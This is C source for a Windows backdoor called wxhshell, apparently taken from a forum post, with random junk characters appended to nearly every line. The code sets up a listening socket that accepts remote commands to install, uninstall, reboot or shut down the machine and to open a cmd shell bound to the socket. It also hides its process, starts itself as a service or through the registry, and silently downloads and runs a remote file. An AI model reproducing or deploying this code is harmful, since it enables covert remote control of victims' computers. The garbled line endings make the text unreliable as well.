  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t3M/ThIE  
  else ,Xn%-OT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ESO(~X+  
  } TC2aD&cw{  
  else { g9gyWz  
b,c vQD  
    switch(cmd[0]) { L$b9|j7  
  !O5UE  
  // 帮助 .,c8cq?  
  case '?': { ;7hf'k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rdK.*oT  
    break; PQfx0n,  
  } v uJ~Lg{  
  // 安装 }$7Hf+G  
  case 'i': { {*|yU"  
    if(Install()) mz#(\p=T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hE=cgO`QU  
    else %pMW5]H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xpV8_Gz;  
    break; tSg#2  
    } `S!`=26Z!  
  // 卸载 +Kk6|+5u  
  case 'r': {  oCduY2  
    if(Uninstall()) 34oC285yc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oreS u;`$  
    else cZwQ{9>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D^A_0@  
    break; ZFRKh:|  
    } ^Dh2_vbI  
  // 显示 wxhshell 所在路径 mb&b=&  
  case 'p': { 89L -k%R  
    char svExeFile[MAX_PATH]; TWn7&,N  
    strcpy(svExeFile,"\n\r"); d`:0kOF+  
      strcat(svExeFile,ExeFile); mV;7SBoT  
        send(wsh,svExeFile,strlen(svExeFile),0); 6@T_1  
    break; Y`M.hYBXk  
    } ^iGIF~J9  
  // 重启 GxvVh71zP  
  case 'b': { @}FRiPo6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HloP NE&}  
    if(Boot(REBOOT)) N%T-Q9k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @p!["v&  
    else { >Mn"k\j4  
    closesocket(wsh); b~\![HoCMM  
    ExitThread(0); _r ajm J  
    } :dK%=j*ZK  
    break; C6Kz6_DQZ  
    } i P/I% D  
  // 关机 *kDXx&7B$  
  case 'd': { uZqo"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x$Lt?'  
    if(Boot(SHUTDOWN)) qOng?(I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /kn t5  
    else { ^ML2xh  
    closesocket(wsh); 0^.q5#A2  
    ExitThread(0); g]3-:&F{c  
    } :cOwTW?Fj  
    break; H(0d(c1s  
    } Vbwbc5m}  
  // 获取shell -5Ccuk>6  
  case 's': { ^m5{:\ Xk  
    CmdShell(wsh);  1 ft. ZJ  
    closesocket(wsh); 5Wn6a$^  
    ExitThread(0); i G<|3I  
    break; ln3.TR*  
  } M]6=Rxq1:E  
  // 退出 $H_4Y-xOi  
  case 'x': { >s1HQSe66  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h<6r+*T' p  
    CloseIt(wsh); E[$['0  
    break; @ #V31im"N  
    } -8EdTc@  
  // 离开 )Dv"seH.  
  case 'q': { 6/GhQ/T%D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '2%hc\P6P  
    closesocket(wsh); _/KW5  
    WSACleanup(); vK6bpzI 3  
    exit(1); OnG!5b  
    break; ag] nVE/  
        }  R z[-  
  } ~M <4HC  
  } hwexv 9""  
^tpy8TQ  
  // 提示信息 [7$<sN<'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  s cn!,  
} ^6Xio6W  
  } `RjcJ?r  
H-I*;  
  return; Ue8_Q8q5  
} fA|'}(kH  
^P]: etld9  
// shell模块句柄 D-[0^  
int CmdShell(SOCKET sock) Tvk=NJ  
{ X-t4irZ)  
STARTUPINFO si; #BM *40tch  
ZeroMemory(&si,sizeof(si)); bf}r8$,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .%*.nq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C@KYg/nYw  
PROCESS_INFORMATION ProcessInfo; 4E"qpy \(  
char cmdline[]="cmd"; t);5Cw _  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Cu!4ha.e`  
  return 0; J H$  
} uz*C`T0:rj  
t[3Upe%  
// 自身启动模式 8^M5u>=t;  
int StartFromService(void) ?p$WqVN}  
{ dkCSqNFL)  
typedef struct 8_KXli}7=  
{ ."3 J;j  
  DWORD ExitStatus; 5|AZ/!rb  
  DWORD PebBaseAddress; Ju:=-5r"'  
  DWORD AffinityMask; dAga(<K  
  DWORD BasePriority; bG\1<:6B  
  ULONG UniqueProcessId; {0e5<"i  
  ULONG InheritedFromUniqueProcessId; !vG._7lPp  
}   PROCESS_BASIC_INFORMATION; >.B+xn =  
6.ap^9AD  
PROCNTQSIP NtQueryInformationProcess; n+xM))  
mv + .5X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J_`.w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EQ7cK63  
OD*DHC2rN]  
  HANDLE             hProcess; N\H(AzMw  
  PROCESS_BASIC_INFORMATION pbi; K<N0%c~  
m 81\cg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q,jlKgB 5:  
  if(NULL == hInst ) return 0; w$2-t  
\2~.r/`1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 's*UU:R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4u:{PN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SqEO ] ~  
c-gaK\u}j}  
  if (!NtQueryInformationProcess) return 0; ^B5Hjf9  
QAX+oy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~-.q<8  
  if(!hProcess) return 0; rvOR[T>  
k 9s3@S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Xst&QKU  
4CNK ]2  
  CloseHandle(hProcess); .p0;y3so4  
Ws(BouJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iPE-j#|  
if(hProcess==NULL) return 0; 0k3^+#J  
+y-:(aP  
HMODULE hMod; :<nL9y jt  
char procName[255]; aIkxN&  
unsigned long cbNeeded; p%j@2U  
_gU [FUBtJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ih"f98lV  
^gv)[  
  CloseHandle(hProcess); c L84}1QD  
]Y, 7 X  
if(strstr(procName,"services")) return 1; // 以服务启动 ~~h9yvW7&  
t6LTGWs/_o  
  return 0; // 注册表启动 v3`J~,V<  
} "zm.jNn  
6"gncB.  
// 主模块 WukCE  
int StartWxhshell(LPSTR lpCmdLine) s;$ eq);  
{ !a1jc_  
  SOCKET wsl; ]%NCKOM  
BOOL val=TRUE; $z` jR*  
  int port=0; t+66kBN  
  struct sockaddr_in door; J&h 3,  
k \]@  
  if(wscfg.ws_autoins) Install(); Be-gGJG  
=(zk-J<nY  
port=atoi(lpCmdLine); `(16_a  
G.c s-f  
if(port<=0) port=wscfg.ws_port; GVFD_;j'  
bx`(d@  
  WSADATA data; 40+E#z)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 48w3gye  
m@"!=CTKd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1eK J46W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \QYs(nm?k  
  door.sin_family = AF_INET; yKq;EcVx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $^`hu%s,~  
  door.sin_port = htons(port); #Etz}:%W  
c[ =9Z;|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r`6XF  
closesocket(wsl); V8&%fxn+  
return 1; wwE9|'Ok  
} /&vUi7'  
C$rZn%dp(  
  if(listen(wsl,2) == INVALID_SOCKET) { o$2fML  
closesocket(wsl); BXLhi(.s  
return 1; |nMbf  
} j^:\a\-1  
  Wxhshell(wsl); {dCkiF  
  WSACleanup(); ~d>O.*Q)  
w[loV  
return 0; JQI`9$asuC  
%M~Ugv_4v  
} I]TL#ywF   
 vUJb-  
// 以NT服务方式启动 {:fyz#>>^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -cJ(iz9!  
{ iSHNt0Nl  
DWORD   status = 0; 2{ }5WH  
  DWORD   specificError = 0xfffffff; :Im_=S[0  
c1b@3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qAkx52v6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _es>G'S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |A &Nv~.)  
  serviceStatus.dwWin32ExitCode     = 0; &Gxk~p<  
  serviceStatus.dwServiceSpecificExitCode = 0; `[Kh[|  
  serviceStatus.dwCheckPoint       = 0; .LV=Z0ja  
  serviceStatus.dwWaitHint       = 0; 7*u0)Hog  
!/Hln;{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'g( R4deCX  
  if (hServiceStatusHandle==0) return; dqPJ 2j $\  
L"#Tas\5  
status = GetLastError(); *$uKg zv3  
  if (status!=NO_ERROR) ^8E/I]-  
{ <K|_M)/9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b(K.p?bt  
    serviceStatus.dwCheckPoint       = 0; 3{~h Rd  
    serviceStatus.dwWaitHint       = 0; nL@P {,J  
    serviceStatus.dwWin32ExitCode     = status; [Fj h  
    serviceStatus.dwServiceSpecificExitCode = specificError; ; N!K/[p=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x4Eq5"F7}  
    return; l&5| =  
  } q0SvZw]f1  
7| IW\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #S_LKc  
  serviceStatus.dwCheckPoint       = 0; aRj3TtFh  
  serviceStatus.dwWaitHint       = 0; r=8]Ub[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +qjW;]yxP  
} u~% m(  
T?E2;j0h'#  
// 处理NT服务事件,比如:启动、停止 TY~0UU$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a]$KI$)e  
{ d.2   
switch(fdwControl) o y}(  
{ Wf>UI)^n  
case SERVICE_CONTROL_STOP: x&8fmUS:@;  
  serviceStatus.dwWin32ExitCode = 0; 2.?:[1g!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UV@<55)K  
  serviceStatus.dwCheckPoint   = 0; ?RrJYj1  
  serviceStatus.dwWaitHint     = 0; Za4 YD  
  { C n4|qX"&t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K\=bpc"Fy  
  } bbS'ZkB\  
  return; eBtkTWx5[/  
case SERVICE_CONTROL_PAUSE: u[fQvdl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Cg8{NNeD  
  break; 6WI_JbT~  
case SERVICE_CONTROL_CONTINUE: 7A7K:,c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {n #  
  break; $F;$-2  
case SERVICE_CONTROL_INTERROGATE: b< Pjmb+  
  break; sRt|G  
}; P4Wd=Xoz6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (47jop0RDQ  
} jAN(r>zVL  
Ff%m.A8d,4  
// 标准应用程序主函数 l.fNkLC#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l<GRM1^kU  
{ I\`:(V  
B3)#Ou2  
// 获取操作系统版本 5N`g  
OsIsNt=GetOsVer(); DpI_`TF#$Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?jz{fU  
|oPqX %?  
  // 从命令行安装 7s>d/F3*  
  if(strpbrk(lpCmdLine,"iI")) Install(); sW|u}8`  
;MNEe% TJ  
  // 下载执行文件 2|w(d  
if(wscfg.ws_downexe) { D[:7B:i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Qt]nlui~  
  WinExec(wscfg.ws_filenam,SW_HIDE); S3btx9y{  
} LP#CA^*S  
8t0i j  
if(!OsIsNt) { rS)7D  
// 如果时win9x,隐藏进程并且设置为注册表启动 [Z~>7ayF+)  
HideProc(); Z*jhSy  
StartWxhshell(lpCmdLine); ely&'y!  
} wp.'M?6`L  
else B=|yjA'Fg  
  if(StartFromService()) PY)C=={p  
  // 以服务方式启动 si%f.A#  
  StartServiceCtrlDispatcher(DispatchTable); g)u2  
else Tb:n6a@  
  // 普通方式启动 @b-?KH  
  StartWxhshell(lpCmdLine);  nPvR  
1[u{3lQ  
return 0; $5%tGFh  
}
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只看该作者 1 发表于: 2006-10-10
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